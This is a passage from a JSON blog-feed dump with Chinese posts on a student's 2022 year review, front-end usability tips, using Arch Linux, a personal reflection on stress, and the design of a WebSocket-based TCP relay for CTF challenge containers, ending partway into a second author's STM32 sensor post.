年度小结","time":"2022-12-31T22:11:49+08:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"做了什么\"\u003e做了什么\u003c/h2\u003e\n\u003cp\u003e今年相比去年稍稍闲了一些,做了一些感觉很有意义的事情,继续坚持当一个理想主义者。\u003c/p\u003e\n\u003ch2 id=\"今年流水账\"\u003e今年流水账\u003c/h2\u003e\n\u003cp\u003e一月份在学校封控隔离,帮忙办了第一届西电寒假抗疫 CTF,期间手机坏了,新手机又因为封控送不进来,举着 iPad 做了一个月的核酸。\u003c/p\u003e\n\u003cp\u003e二月份在学校封控隔离,线上复盘比赛,开组会,最后终于成功回家。\u003c/p\u003e\n\u003cp\u003e三月份跟队友和友队一起办了D^3CTF,情况不错。\u003c/p\u003e\n\u003cp\u003e四月份不太平稳的退休,将 L-team 与 XDSEC 全权交给学弟学妹们,接手维护了取证资料站,在上面搭了一个 Git,并写了一些有关取证和取证软件开发的文档。\u003c/p\u003e\n\u003cp\u003e五月份开始筹备 Cyber Terminal,重新修了修 BitWave,举办了 Mini LCTF,写了两篇取证猫的开发文档。\u003c/p\u003e\n\u003cp\u003e六月份初步计划好了 Cyber Terminal 的架构,开了个头,胃出了点毛病,去医院跑了七八躺,做了胃镜,最后事情不大,存活。\u003c/p\u003e\n\u003cp\u003e七月份去华为实习,白天在华为高强度修代码,晚上回来爆肝 Cyber Terminal,一天只睡三个小时,差点4了。\u003c/p\u003e\n\u003cp\u003e八月份继续在华为实习,继续高强度修代码,继续每天只睡三小时,终于延期 10 天之后堪堪完工,并大致成功的举办了 MoeCTF 2022。\u003c/p\u003e\n\u003cp\u003e九月份复盘了比赛平台开发的一些事情,并决定了后续开发与重构路径,看了两篇有关反汇编与反编译算法的论文,开坑了 IERX。\u003c/p\u003e\n\u003cp\u003e十月份结束了保研相关的事情,走完了两场面试,在西电续费了 3 年,着手重构 Cyber Terminal,给 IERX 写了一个炫酷的启动界面,并给主界面架构和插件系统打了个底子。\u003c/p\u003e\n\u003cp\u003e十一月份继续重构 Cyber Terminal,给 Yoco 写了一个 Mock 后端,前端开了个头,发现队友的仓库已经很久没有动静了,也没有相关 API 文档,于是不了了之。\u003c/p\u003e\n\u003cp\u003e十二月份继续重构 Cyber Terminal,成功在重重疫情之下回家,然后回家第三天全国解封了,又过了几天阳了,高烧 39+ 烧了四天差点死掉,好在最后没啥事。\u003c/p\u003e\n\u003cp\u003e今年又是高强度办比赛写代码的一年~\u003c/p\u003e\n\u003cp\u003e总的来说我还挺满意,虽然中间经历了堪比地狱的两个月,但是今年总算是产出了一个稳定高性能的生产级别应用。\u003c/p\u003e\n\u003ch2 id=\"明年计划\"\u003e明年计划?\u003c/h2\u003e\n\u003cp\u003e继续完善 Cyber Terminal,剩下的事情还没想好,一步一步来吧,希望能继续作为一个不忘初心的理想主义者,写一些有趣的东西。\u003c/p\u003e\n\u003cp\u003eTo be continued.\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://blog.woooo.tech/posts/2022_summary/"},{"title":"Web前端开发需要注意的一些问题","time":"2022-12-12T10:59:46+08:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e一点记录,持续更新。\u003c/p\u003e\n\u003ch2 id=\"颜色主题遵循原生系统设置\"\u003e颜色主题遵循原生系统设置\u003c/h2\u003e\n\u003cp\u003e如果Web端有提供主题切换的话,默认主题应当遵循系统或者浏览器设置。\u003c/p\u003e\n\u003cp\u003e可以使用以下js片段获取浏览器/系统默认主题:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-js\" data-lang=\"js\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003eisDarkMode\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003ewindow\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ematchMedia\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nb\"\u003ewindow\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ematchMedia\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;(prefers-color-scheme: dark)\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"nx\"\u003ematches\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e...\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"语言统一\"\u003e语言统一\u003c/h2\u003e\n\u003cp\u003e应当提供完善的i18n支持,但是对于某些专有名词和惯用约定不要乱翻译。\u003c/p\u003e\n\u003ch2 id=\"区分已访问链接与未访问链接\"\u003e区分已访问链接与未访问链接\u003c/h2\u003e\n\u003cp\u003e很多时候为了让链接的原本颜色与主题背景颜色区分开,我们都会重新设定链接的显示颜色。但是设定的时候通常会忘掉将已访问链接与未访问链接做一个区分,这样会影响可访问性。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-css\" data-lang=\"css\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003ea\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecolor\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mh\"\u003e#0078D6\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"nd\"\u003evisited\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecolor\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"kc\"\u003epurple\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"保证可交互元素的outline\"\u003e保证可交互元素的outline\u003c/h2\u003e\n\u003cp\u003e在使用键盘tab聚焦某个元素的时候,应当有outline或者其他的视觉变化标识这个元素被聚焦了。\u003c/p\u003e\n\u003ch2 id=\"内容页面需要具有独立的url\"\u003e内容页面需要具有独立的URL\u003c/h2\u003e\n\u003cp\u003e某些单页应用的多个页面切换不会更新URL,导致刷新或者将链接分享与他人的时候往往无法直接得到所需要的页面。\u003c/p\u003e\n\u003ch2 id=\"不应当有user-agent限制\"\u003e不应当有User-Agent限制\u003c/h2\u003e\n\u003cp\u003e实际上其他浏览器也能够正常浏览页面(骂的就是你,西电一站式服务大厅)。\u003c/p\u003e\n\u003ch2 id=\"对可交互元素改变鼠标指针\"\u003e对可交互元素改变鼠标指针\u003c/h2\u003e\n\u003cp\u003e而不是点到哪儿都是一个箭头。\u003c/p\u003e\n\u003ch2 id=\"不要使用js进行链接跳转\"\u003e不要使用js进行链接跳转\u003c/h2\u003e\n\u003cp\u003e浏览器支持悬浮预览URL,也支持中键在新标签页中打开等快速操作,不要到处搞\u003ccode\u003ediv\u003c/code\u003e然后用js监听事件并重写\u003ccode\u003elocation\u003c/code\u003e(骂的就是你,Bilibili)。\u003c/p\u003e\n\u003ch2 id=\"内容文本支持用户选择操作控件反之\"\u003e内容文本支持用户选择,操作控件反之\u003c/h2\u003e\n\u003cp\u003e对于展示内容的文本,要能够支持用户使用鼠标选中(骂的就是你,学习通);对于操作控件而言,其文本支持鼠标选中后会使样式看起来奇奇怪怪。\u003c/p\u003e\n\u003ch2 id=\"将-submit-操作包含在-html-form-中\"\u003e将 submit 操作包含在 HTML form 中\u003c/h2\u003e\n\u003cp\u003e对于一些网页表单,应当把 “提交” 按钮包括在表单之中,这样就可以通过 Tab 进行切换,而不需要用户。\u003c/p\u003e\n\u003cp\u003e在实现支持的情况下,可以在所有表单项均填写完毕时,支持回车直接提交表单。但是请不要在表单未填写完毕的时候支持回车提交,这样会很破坏用户的使用体验。\u003c/p\u003e\n\u003ch2 id=\"更多\"\u003e更多……\u003c/h2\u003e\n\u003cp\u003e还有什么想到的,以后再写吧。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://blog.woooo.tech/posts/web_developing_principles/"},{"title":"关于使用 Linux Desktop","time":"2022-12-09T15:57:50+08:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e关于我为什么要用 Linux Desktop 这件事。只是写一点想法,无意参与所谓的 “操作系统圣战”,硬吹操作系统还要搞鄙视链的人多少有点魔怔。\u003c/p\u003e\n\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e我目前的工作环境是 Arch Linux x86_64 with KDE Plasma Wayland。\u003c/p\u003e\n\u003cp\u003e说起 Arch,在网上一搜,基本上都充满了 “Arch Linux是世界上最好的操作系统!” “Arch性能超越Windows!” “只有闲着没事干的学生党才会用Arch” “有这折腾的功夫去学点有用的不好吗” “Arch不稳定,傻子才用” 之类的极端风评,像极了教徒圣战现场。实际上静心体验一段时间下来,感觉有时间发表这些言论的人才是真的闲得没事干,操作系统是给人用的,不同系统之间区别哪有那么大。\u003c/p\u003e\n\u003ch2 id=\"windows有啥不好的要用linux\"\u003eWindows有啥不好的,要用Linux?\u003c/h2\u003e\n\u003cp\u003e没啥不好的。从设计哲学上来看,Windows喜欢大一统,将各种功能集成与一身,然后又以 “一切皆为窗口” 的设计哲学,将所有的功能做成 GUI 提供给用户,让用户能够拿个鼠标点点点就能完成绝大多数任务,从各种意义上来说 Windows 都是一个很nb的操作系统。\u003c/p\u003e\n\u003cp\u003e从 WSL/WSL2 发布,再到 WSLg 和能直接运行安卓应用的 WSA,Windows上的开发体验也逐渐变得十分优秀,在这方面实在没什么好黑的。\u003c/p\u003e\n\u003cp\u003e我不用 Windows 的原因如下:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eWindows 太复杂了。我一直不太玩的明白注册表、Windows事件之类的东西,在用上 WSL 之后,我连网卡配置都搞不定,遂放弃;\u003c/li\u003e\n\u003cli\u003e想自己动手搞定系统问题太难了。先不说网上弥漫着的CSDN垃圾和百度知道垃圾处处误导,Windows 自己本身出错也最多就给一个错误码,或者给一个没什么用的二维码,扫一下给个错误标志符,没有任何日志可以给用户看。如果上微软的社区去提问,大概率会得到 “重启一下” 之类的回答,或者就被晾在那儿90天,帖子自动锁定,然后在搜索引擎里留下一团垃圾,等下一个倒霉鬼搜索到之后点开一看,No Answer here。即使通过Windows事件日志找到了某些错误日志,读起来也很难受,而且读完了发现似乎不是我能搞定的,我也看不到 Windows 的源代码,于是只能寻找一些绕过错误的妥协方案;\u003c/li\u003e\n\u003cli\u003e行为不可控,或者说不完全可控。如果各位搭过代理的话,应该看见过大部分代理都会有的流量连接日志。在Linux下,我闲着的时候日志就是空的,我不动它不动。但是在 Windows 下面,即使我把我看得到的所有联网软件都给关掉,那个流量日志依旧跑个不停。这感觉就像请了一个管家,结果管家天天把家里的东西往外拿一样;\u003c/li\u003e\n\u003cli\u003e阻止奇怪的第三方软件倒垃圾太难了。这一块儿其实怨不着 Windows,单纯是厂商作恶。我就不点名有什么奇怪的杀毒软件、聊天软件会到处扫描个人文件和浏览器访问记录了。为了所谓的 “安全”,随便什么东西都要给 Windows 里塞一个驱动模块,还要以最高权限运行,生怕权限低了会被别人攻击,甚至还有某杀软在后台搞竞争……\u003c/li\u003e\n\u003cli\u003e开发者体验太差了。即使有 WSL 存在,我还是要说,毕竟 WSL 也是一个 Linux 开发环境,但总要写一些在原生 Windows 上跑的东西。任何一个 CMake 项目整下来,我都要为了各种库依赖、编译器特性折腾几圈,有时候写个Qt程序写了两天,为了让它成功链接到库上,再成功给打包成二进制花了一星期;\u003c/li\u003e\n\u003cli\u003e二进制库太混乱了。之前看过某取证软件的安装文件夹,里面大概有七八份一模一样的 Qt dll,还有一大堆 msvc 运行时,有时候有点怀疑,如果我能够把系统里所有的软件依赖库都给统一起来,我能省下来多少硬盘空间;\u003c/li\u003e\n\u003cli\u003e系统升级。我挺乐意升级系统的,希望能看见一些新东西,修一些奇怪的bug。但是Windows的升级体验只能说…… 每次升级都要仰着脸等着它转圈圈,然后重启若干次。\u003c/li\u003e\n\u003cli\u003e\u003cdel\u003e不好看。这个其实比较主观,个人稍有一点观感洁癖,所以对Windows混搭了十几年的设计风格实在看不下去,怎么有系统可以同时具有02年08年13年22年的设计风格啊\u003c/del\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e当然这里面包含了不少我个人因素,例如更新之类的,如果你不更新的话就完全没有这个问题,所以看个乐呵。\u003c/p\u003e\n\u003ch2 id=\"arch-不稳定三天挂两次折腾自己干嘛\"\u003eArch 不稳定,三天挂两次,折腾自己干嘛\u003c/h2\u003e\n\u003cp\u003e我一直觉得你得先自己去体验体验,才有资格去评判某件事物。\u003c/p\u003e\n\u003cp\u003e我的 Arch 稳定跑了三四年了没出过问题,由于研究方向原因我没事还得调调系统环境,特殊情况下还得自己build内核,怎么没挂过?\u003c/p\u003e\n\u003ch2 id=\"那干嘛不用-mac\"\u003e那干嘛不用 Mac?\u003c/h2\u003e\n\u003cp\u003e部分闭源相关的原因和Windows相同,包括看不见源代码所以不能自己上手修之类的,更主要的原因是\u003cstrong\u003e没钱\u003c/strong\u003e。\u003c/p\u003e\n\u003ch2 id=\"linux-desktop-就没有问题吗\"\u003eLinux Desktop 就没有问题吗?\u003c/h2\u003e\n\u003cp\u003e有,问题多了去了,大bug不多,小bug不断。我这几年基本上每个星期都要往不同开源社区提一个issue,某些时候我甚至自己上手修,然后给对应的项目提pr,\u003cdel\u003e水贡献度\u003c/del\u003e。在没找到比较符合我使用习惯的音乐播放器之后,我还\u003ca href=\"https://github.com/Reverier-Xu/BitWave\" target=\"_blank\" rel=\"noopener noreffer \"\u003e自己写了一个\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003ch2 id=\"建议别人用什么操作系统\"\u003e建议别人用什么操作系统?\u003c/h2\u003e\n\u003cp\u003e没啥建议,如果你对 Windows 有很大意见,欢迎来体验一下 Linux Desktop。发行版的话随便挑一个,都差不多,都2022年了还有发行版不稳?\u003c/p\u003e\n\u003cp\u003e如果你觉得当前环境很舒适,也没有什么未来可预见的需求是当前操作系统用起来不舒服的,那就不要换,瞎折腾。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://blog.woooo.tech/posts/about_linux_desktop/"},{"title":"2022.11.19 一点想法","time":"2022-11-19T01:49:27+08:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e现在是凌晨两点, 人精神的和鬼一样, 写点东西反思一下.\u003c/p\u003e\n\u003cp\u003e之前看过一句话, 记不太清了, 大意是“如果你觉得生活中处处带刺处处被针对那么大概是你自己出了毛病”, 那我现在可能确实有什么大病. 夜晚水群的时候被一位很好的朋友用*舟子这种sb来形容, 当时瞬间难受的话都不会说了. 冷静下来想了想, 自己确实在气急败坏. 我不知道我的行为是在较真、无理取闹, 我日常吐槽自己遭遇的行为到底是在合理吐槽还是在故意卖惨——可能我自己觉得很正常的事情在别人眼里就变了味道.\u003c/p\u003e\n\u003cp\u003e我自己少有一点开发经验, 于是喜欢到处揽活写东西, 感觉自己写出来的东西能给别人带去良好的体验也算是创造了价值.\u003c/p\u003e\n\u003cp\u003e但是揽活背锅这个过程总是不美好的. 我已经记不清楚连着一个月除了代码代码代码之外空无一物、连基础睡眠都无法保证的日子是怎么过的, 也有很多朋友亲人劝说过我身体第一, 我自己也明白这样下去迟早会出问题, 于是最近在尽力养生了 (今晚除外吧, 心情比较……特殊) .\u003c/p\u003e\n\u003cp\u003e不过除了睡眠和身体问题之外, 更严重的可能是心理问题.\u003c/p\u003e\n\u003cp\u003e我在网易云有一个\u003ca href=\"https://y.music.163.com/m/playlist?app_version=8.8.70\u0026amp;id=5363370586\u0026amp;userid=544989612\u0026amp;dlt=0846\u0026amp;creatorId=544989612\" target=\"_blank\" rel=\"noopener noreffer \"\u003e歌单\u003c/a\u003e, 里面的东西大概长下面这样:\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e(感兴趣的可以听一听, 记得把音量调小)\u003c/p\u003e\n\u003cp\u003e每当心情烦躁的时候, 我都会尝试说服自己先挺一挺, 挺过去就好了, 接着戴上耳机音量开大, 开始播放一些能带来无意义杂音轰炸耳朵的东西, 这样我就能在很长一段时间之内以一种只去思考眼前问题的状态坚持下去. 睡眠其实是刻意远离的, 躺在床上无所事事的时候我就不可避免的去emo, 去思考我这么做的意义, 接着意志消沉什么也不想做. 所以在干活期间, 睡觉基本上是确认了自己能在十秒钟之内失去意识之后才会倒头去睡.\u003c/p\u003e\n\u003cp\u003e在干活的时候我一般不太喜欢先去说自己有多惨, 我父亲经常跟我说, 觉得艰苦的话, 咬咬牙就过去了, 卖惨是懦夫行为;也曾经因为我小时候做某些事情半途而废开始哭惨而教育过我, 于是我后来一直是这样做的, 在背锅的事情完成之前从来不抱怨, 我觉得我做的还行.\u003c/p\u003e\n\u003cp\u003e但是心理压力总是要排解的, 虽然我做事的时候尽力不去半途而废, 也尽力不去哭惨卖惨, 甚至不愿意去思考除了代码、逻辑、任务之外的事情. 我知道我一旦去想这些事情, 我就停不下来, 心理防线是很难修的. 当某件背锅的事情、某个项目终于完成的时候, 我大概会瘫上一两周什么也不想干, 这个时候如果聊天谈到了, 我就喜欢说这个项目究竟怎么折腾我了、我绷不住了之类的话 (毕竟没有在事情做到一半的时候就抱怨嘛, 大概也不算懦夫行为) . 不过大家对我写出来的东西也都表示了认可, 虽然也有那么几个说我写的不彳亍的, 但总的来说我的心态大概是, 我写的东西总算没白费, 大家开心就好, 也就不会emo了.\u003c/p\u003e\n\u003cp\u003e我目前觉得我的心理状况还是很不错的, 距离抑郁症还很远, 但可能确实出了一点问题. 我喜欢到处挑一些离谱的事情去群里吐槽, 看见大家附和的时候我的心理压力会小很多, 我觉得我的想法是有人认可的, 这大概是什么奇怪的心理认同效应. 我也喜欢在我认为开玩笑的语气上去说一下我之前背锅有多惨有多惨, 不过这件事情已经过去了, 我已经坚持下来了, 所以也无所谓了, 也就那样嘛. 不过似乎并不是每个人都觉得我在开玩笑, 他们觉得我就是在卖惨, 不过也有一些朋友是真的心疼我.\u003c/p\u003e\n\u003cp\u003e但是我还是经常会控制不住自己情绪的. 经常会有朋友说我爱翻旧账, 我的导师之前也说过一次不太想找我做事, 因为每次事后总结我都要bb半天, 最后整的心情都不愉快了. 所以后来我做过的事情我也不咋说了, 说了大家都不开心, 只有我心理压力排解出去了, 何必呢. 况且事后卖惨也算卖惨, 家训都到哪儿去了.\u003c/p\u003e\n\u003cp\u003e也可能是自己确实做了很多事情, 所以有时候经常会有一种自信, 觉得自己做的事情说的话大抵都是正确的, 自己的人品倒也还彳亍, 至少不离谱. 所以在人品被怀疑的时候我很难放得下, 越是重要的人这么说我, 我越上火, 越想急着证明自己不是那样的人, 即使对方都打算打哈哈把事情放过去了我都要继续追着说下去, 不然我心里真的难受. 然后谈话就逐渐向着不可控制的方向发展了, 最后弄的双方剑拔弩张.\u003c/p\u003e\n\u003cp\u003e有时候我也很倔. 可能是被代码和各种框架折腾多了的缘故, 我总有一种“我的经验比你丰富所以你要听我的”的莫名自信, 这个可能不仅仅只体现在写代码这件事上, 也影响了我日常的一些观点. 体现出来大概就是倔, 听不进去别人的意见, 一定要说服别人接受我的观点. 我之前很多次意识到这个问题, 我想努力去改, 但是总会不经意间这样. 有时候给关系弄的不愉快了, 事后想想感觉自己就是个sb.\u003c/p\u003e\n\u003cp\u003e我现在的生活应该也算忙碌和充实的, 但是我的圈子也就那么大, 有一些交心朋友, 一位很好的老师, 二次元, 还有每周两次和家人视频聊天的时光. 但是在遇到某些难受事情的时候, 可能还是得自己憋着比较好. 一来别人没有义务承担来自我的心理压力, 二来我的心理状态可能会影响其他人的心理状态, 属实有点…\u003c/p\u003e\n\u003cp\u003e以后我还是多分享一下生活中的乐趣, 少一点抱怨挑刺, 可能生活会好一些. 生活的美好是虚假的, 但我不是强大到足以直面事实的人, 就这样吧. 希望能看到这篇博客的人不会被我的糟心状态所影响, 如果我日常有什么让你难受的地方了, 我在这里真诚道歉, 我有在努力纠正了, 感谢能遇到你们.\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://blog.woooo.tech/posts/20221119_thinks/"},{"title":"WebSocketReflectorX 开发小记","time":"2022-11-12T22:08:19+08:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"需求\"\u003e需求\u003c/h2\u003e\n\u003cp\u003e  在 CTF 比赛中经常会有动态类型的题目,每个选手都拥有自己的题目容器,与其他选手的环境相互隔离,不同容器中的 flag 值也各不相同。这样能够显著提升作弊成本进而减少作弊行为,对于一些简陋的作弊行为也可以直接查处;同时也能够避免选手在做题过程中对题目环境造成不可逆的破坏,从而耽误其他选手的解题过程;当选手无意对自己的环境造成破坏后,也可以自助重启容器来恢复做题环境。\u003c/p\u003e\n\u003cp\u003e  对于动态题目而言,目前已经有一些比较成熟的解决方案了,例如 \u003ca href=\"https://github.com/frankli0324/CTFd-Whale\" target=\"_blank\" rel=\"noopener noreffer \"\u003efrankli0324/CTFd-Whale\u003c/a\u003e 等等,但是总有一些不妙的地方,使得这些解决方案在某些场景下会受到各种各样的限制。\u003c/p\u003e\n\u003cp\u003e  如何让选手舒适的访问到容器一直是比赛平台开发中一件难以解决的需求,对于某些限制颇多的场景下越是如此。我们就遇到了这样的一个场景:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e学校服务器仅拥有一个单域名解析,不支持泛域名,不支持自行签发证书,所有流量需要通过 CDN 转发,再通过堡垒机审计之后解密成明文HTTP流量,再转发给我们的服务器。我们对 CDN、堡垒机、域名均没有控制权,堡垒机安全组也仅开放 堡垒机443端口 -\u0026gt; 服务器80端口 这一条通道,服务器的其他端口均无法从外部进行访问,用 IP 地址直连都不行。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e  在服务器场景如此受限的情况下,我们应当怎么把动态题目容器映射出去?\u003c/p\u003e\n\u003ch2 id=\"现有反向代理方案\"\u003e现有反向代理方案\u003c/h2\u003e\n\u003cp\u003e  上文提到的解决方案中或多或少的都考虑到了这个问题。例如 \u003ca href=\"https://github.com/frankli0324/CTFd-Whale\" target=\"_blank\" rel=\"noopener noreffer \"\u003eCTFd-Whale\u003c/a\u003e 的解决方案就是利用 frp 进行内网穿透,然后将题目流量反向代理到一台我们拥有控制权的服务器上,然后用我们自己的域名进行泛域名分发和端口分发。这样的好处是选手的解题体验会很好,和直接对着原始题目端口打没有区别。但是缺点很明显:一旦中转服务器出现一点问题,那么所有的动态题目容器会同时挂掉。由于密码和 pwn 题目本身的交互特殊性,不能使用基于 HTTPS 的 L7 流量转发,只能通过分配不同端口的形式做 L4 分流。这样就要求我们必须要将中转服务器直接暴露在公网上,这样一旦遭遇 DDoS 攻击,救都没法救。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e注:L4 、L7 指的是计算机网络中的第四层传输层与第七层应用层,以下简写。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"在某些场景下基于sni的方案\"\u003e在某些场景下基于SNI的方案\u003c/h2\u003e\n\u003cp\u003e  后来学长 \u003ca href=\"https://github.com/zkonge\" target=\"_blank\" rel=\"noopener noreffer \"\u003ezkonge\u003c/a\u003e,\u003ca href=\"https://github.com/frankli0324\" target=\"_blank\" rel=\"noopener noreffer \"\u003eFrank\u003c/a\u003e 提出了一种新的方法:利用 \u003cstrong\u003e服务器名称指示(SNI)\u003c/strong\u003e 机制进行 L4 流量转发。由于 TLS 流量是完全加密的,对于某些需要承载多个网站的单一服务器来说就没办法使用单一证书进行解密。于是, SNI 在 2003 年 6 月的 RFC 3546 标准提出的《传输层安全(TLS)扩展》中加入到 \u003ca href=\"https://zh.m.wikipedia.org/wiki/IETF\" title=\"IETF\" target=\"_blank\" rel=\"noopener noreffer \"\u003eIETF\u003c/a\u003e 的 \u003ca href=\"https://zh.m.wikipedia.org/wiki/RFC\" title=\"RFC\" target=\"_blank\" rel=\"noopener noreffer \"\u003eInternet RFCs\u003c/a\u003e 内。目前所有主流 TLS 客户端均已支持 TLS 的 SNI 扩展协议。\u003c/p\u003e\n\u003cp\u003e  这种方案虽然解决了多端口、无加密的问题,但无法进行 CDN 保护的问题仍然存在。又由于这套方案依赖于多域名,我们需要一个泛域名证书与一个 我们拥有完全控制权的域名,显然也是不适用学校服务器这一诸多限制场景的。\u003c/p\u003e\n\u003ch2 id=\"websocket-中转方案\"\u003eWebSocket 中转方案\u003c/h2\u003e\n\u003cp\u003e  在此基础上,我考虑出一种新的方法:利用 WebSocket 进行 TCP 流量转发,也就是在 L7 上再搭一层 L4。\u003c/p\u003e\n\u003cdiv class=\"mermaid\" id=\"id-1\"\u003e\u003c/div\u003e\n\u003cp\u003e  其中转发器是跑在选手本地的,服务器接收器是跑在服务器端的。转发器在启动的时候需要传入一个服务器地址与一个特定的 URI,然后转发器便会作为一个本地的 TCP 服务器开启一个端口。服务器接收器会监听某个路由下的请求,接收请求之后根据请求的地址是否有对应的题目容器,与转发器建立起一条 WebSocket 连接,然后将连接中的所有数据原样转发到对应容器服务的端口上。当选手对本地转发器开放的 TCP 端口建立 TCP 连接时,转发器便会立即向服务器发起一次 WebSocket 连接请求,然后将原始流量尽数转发。\u003c/p\u003e\n\u003cp\u003e  由于 WebSocket 建立连接需要客户端先发送一个 HTTP Upgrade 请求,服务器才会响应并将其升级为 WebSocket 连接,所以我们可以给服务器套上 CDN 或者防火墙之类的东西,只要 CDN 和防火墙均支持转发 WebSocket 请求即可,所幸学校的堡垒机和 CDN 服务都支持 WebSocket。同时,我们可以通过修改 nginx 配置,将接收器配置在某个子路径之下,这样其他路径还可以部署其他的服务,例如比赛平台之类的,问题就解决了。\u003c/p\u003e\n\u003cp\u003e  虽然看起来很美好,但这个方案实际上是不完美的。有一个很明显的问题就是选手的环境各不相同,所以转发器必须要“全平台”。这个全平台不仅仅只是 Windows,Linux,MacOS 三端,还要包括这些系统的历史版本。因为 CTF 题目类型多样,经常会有一些题目要求一些特定的题目环境才能够打通,那么连接器也需要能够在这种环境下无压力运行,才能够用起来比较舒适。\u003c/p\u003e\n\u003cp\u003e  还有一个问题是连接器可能会降低选手的做题体验。毕竟又是要下载又是要启动,还要对着本地端口打,让选手操作的步骤越多,比赛体验就越低。对于连接器的设计,可能还需要再多考虑考虑。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://blog.woooo.tech/posts/wsrx_1/"}]},{"name":"康师傅","email":"","uri":"http://http//blog.ksfu.top/","description":"太菜了","article":[{"title":"STM32使用硬件IIC驱动SHT30温湿度传感器","time":"2023-07-13T16:37:34Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"STM32使用硬件IIC驱动SHT30温湿度传感器\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#STM32%E4%BD%BF%E7%94%A8%E7%A1%AC%E4%BB%B6IIC%E9%A9%B1%E5%8A%A8SHT30%E6%B8%A9%E6%B9%BF%E5%BA%A6%E4%BC%A0%E6%84%9F%E5%99%A8\" class=\"headerlink\" title=\"STM32使用硬件IIC驱动SHT30温湿度传感器\"\u003e\u003c/a\u003eSTM32使用硬件IIC驱动SHT30温湿度传感器\u003c/h1\u003e\u003cp\u003e\u003cdel\u003e喜报,终于写完了\u003c/del\u003e\u003c/p\u003e\u003cp\u003e当时网上 xjb乱逛,突然看见有人讨论小米温湿度传感器,我当时也买了个这玩意,于是突然感兴趣查了一下用的传感器——SHT30,协议是IIC。当时想着能不能自己也山寨一个小米温湿度传感器 \u003cdel\u003e,然后下单了SHT30之后就再也没动过\u003c/del\u003e 。这会放假了,想起来这玩意,就整一整吧,顺便再 